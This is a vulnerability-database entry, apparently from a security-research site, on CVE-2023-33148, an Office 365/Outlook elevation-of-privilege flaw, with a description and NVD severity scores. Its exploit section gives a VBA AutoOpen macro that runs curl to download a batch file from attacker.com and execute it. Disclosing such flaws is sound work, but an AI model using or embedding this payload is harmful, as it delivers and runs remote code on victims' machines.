Attacker Value
High
CVE-2023-33148
CVE-2023-33148
(Last updated October 08, 2023) ▾
MITRE ATT&CK
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Privilege Escalation
Techniques
Validation
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Technical Analysis
CVE-2023-33148
Vendor
Description:
The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege.
The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it – opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim’s PC, it depends on the scenario.
WARNING! Office 365 executes files directly from Outlook, without temp downloading, security checking and etc.
Staus: HIGH Vulnerability
[+]Exploit:
- – – NOTE:
This exploit is connected to the third-party server, and when the victim clicks on it and opens it the content of the script which is inside will fetch on the machine locally and execute himself by using MS Office 365 and Outlook app which is a part of the 365 API.
Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus) End Sub
Reproduce:
Proof and Exploit
Time spend:
00:35:00
CVSS V3 Severity and Metrics
Data provided by the National Vulnerability Database (NVD)
Base Score:
7.8 High
Impact Score:
5.9
Exploitability Score:
1.8
Attack Vector (AV):
Local
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High
General Information
Vendors
- microsoft
Products
- 365 apps -,
- office 2013,
- office 2019,
- office 2021
